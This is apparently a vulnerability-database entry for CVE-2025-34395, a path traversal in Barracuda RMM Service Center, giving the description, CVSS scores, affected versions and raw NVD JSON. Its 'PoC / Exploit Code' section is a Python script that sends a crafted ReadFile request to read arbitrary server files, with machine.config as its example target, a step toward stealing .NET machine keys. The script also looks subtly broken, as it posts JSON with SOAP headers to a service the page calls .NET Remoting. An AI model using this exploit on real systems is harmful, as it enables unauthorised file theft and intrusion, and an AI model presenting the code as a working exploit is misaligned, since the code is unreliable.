Security Vulnerability Report
中文
CVE-2025-34395 CVSS 7.5 HIGH

CVE-2025-34395

Published: 2025-12-10 16:16:25
Last Modified: 2025-12-23 14:32:57

Description

Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, exposes a .NET Remoting service in which an unauthenticated attacker can invoke a method vulnerable to path traversal to read arbitrary files. This vulnerability can be escalated to remote code execution by retrieving the .NET machine keys.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:* - VULNERABLE
Barracuda Service Center (RMM) < 2025.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-34395 Path Traversal PoC for Barracuda RMM Service Center # Reference: https://www.vulncheck.com/advisories/barracuda-rmm-service-center-net-remoting-path-traversal-rce import requests import sys def exploit_path_traversal(target_url, file_path): """ Exploit path traversal to read arbitrary files from Barracuda RMM Service Center """ # Construct the path traversal payload payload = { 'method': 'ReadFile', 'params': { 'filePath': file_path } } headers = { 'Content-Type': 'application/octet-stream', 'SOAPAction': 'http://tempuri.org/IServiceCenter/ReadFile' } try: response = requests.post(target_url, json=payload, headers=headers, timeout=30) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-34395.py <target_url> <file_to_read>") print("Example: python cve-2025-34395.py https://target:8080/ServiceCenter.rem C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] print(f"[*] Attempting to read: {file_path}") result = exploit_path_traversal(target, file_path) print(f"[+] Response:\n{result}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34395", "sourceIdentifier": "[email protected]", "published": "2025-12-10T16:16:24.640", "lastModified": "2025-12-23T14:32:56.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, exposes a .NET Remoting service in which an unauthenticated attacker can invoke a method vulnerable to path traversal to read arbitrary files. This vulnerability can be escalated to remote code execution by retrieving the .NET machine keys."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.1.1", "matchCriteriaId": "C6E07E55-A5C9-4B12-8CC2-891D3F8F087D"}]}]}], "references": [{"url": "https://download.mw-rmm.barracudamsp.com/PDF/2025.1.1/RN_BRMM_2025.1.1_EN.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.barracuda.com/products/msp/network-protection/rmm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/barracuda-rmm-service-center-net-remoting-path-traversal-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}